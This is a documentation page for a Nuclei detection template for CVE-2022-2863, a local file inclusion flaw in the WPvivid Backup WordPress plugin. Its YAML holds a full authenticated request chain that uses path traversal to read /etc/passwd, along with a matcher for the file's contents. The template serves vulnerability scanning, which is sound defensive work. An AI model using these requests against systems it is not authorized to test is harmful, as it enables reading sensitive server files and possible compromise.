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WordPress WPvivid Backup <0.9.76 - Local File Inclusion

ID: CVE-2022-2863

Severity: medium

Author: tehtbl

Tags: cve,cve2022,wp,wpscan,seclists,packetstorm,authenticated,lfi,wordpress,wp-plugin,wpvivid

Description

Section titled “Description”

WordPress WPvivid Backup version 0.9.76 is vulnerable to local file inclusion because the plugin does not sanitize and validate a parameter before using it to read the content of a file, allowing high privilege users to read any file from the web server.

YAML Source

Section titled “YAML Source”
id: CVE-2022-2863


info:
  name: WordPress WPvivid Backup <0.9.76 - Local File Inclusion
  author: tehtbl
  severity: medium
  description: WordPress WPvivid Backup version 0.9.76 is vulnerable to local file inclusion because the plugin does not sanitize and validate a parameter before using it to read the content of a file, allowing high privilege users to read any file from the web server.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire WordPress installation.
  remediation: Upgrade to version 0.9.76 or later.
  reference:
    - https://seclists.org/fulldisclosure/2022/Oct/0
    - https://wpscan.com/vulnerability/cb6a3304-2166-47a0-a011-4dcacaa133e5
    - http://packetstormsecurity.com/files/168616/WordPress-WPvivid-Backup-Path-Traversal.html
    - https://nvd.nist.gov/vuln/detail/CVE-2022-2863
    - https://github.com/rodnt/rodnt
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 4.9
    cve-id: CVE-2022-2863
    cwe-id: CWE-22
    epss-score: 0.46632
    epss-percentile: 0.97438
    cpe: cpe:2.3:a:wpvivid:migration\,_backup\,_staging:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 3
    vendor: wpvivid
    product: migration\,_backup\,_staging
    framework: wordpress
  tags: cve,cve2022,wp,wpscan,seclists,packetstorm,authenticated,lfi,wordpress,wp-plugin,wpvivid


http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/admin.php?page=WPvivid HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /wp-admin/admin-ajax.php?_wpnonce={{nonce}}&action=wpvivid_download_export_backup&file_name=../../../../../../../etc/passwd&file_size=922 HTTP/1.1
        Host: {{Hostname}}
        Referer: {{BaseURL}}/wp-admin/admin.php?page=WPvivid


    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"


      - type: status
        status:
          - 200


    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - '"_ajax_nonce":"([0-9a-z]+)"'
        internal: true
        part: body
# digest: 4b0a00483046022100c6147bde68598128ccc4a4b172b371baa8ff7baad1ede008cf6bbda2b70e899d022100ad21655677d80abc66337f34fd30c43ee91eb1477aacad784a79b237f5ed0dab:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-2863.yaml"

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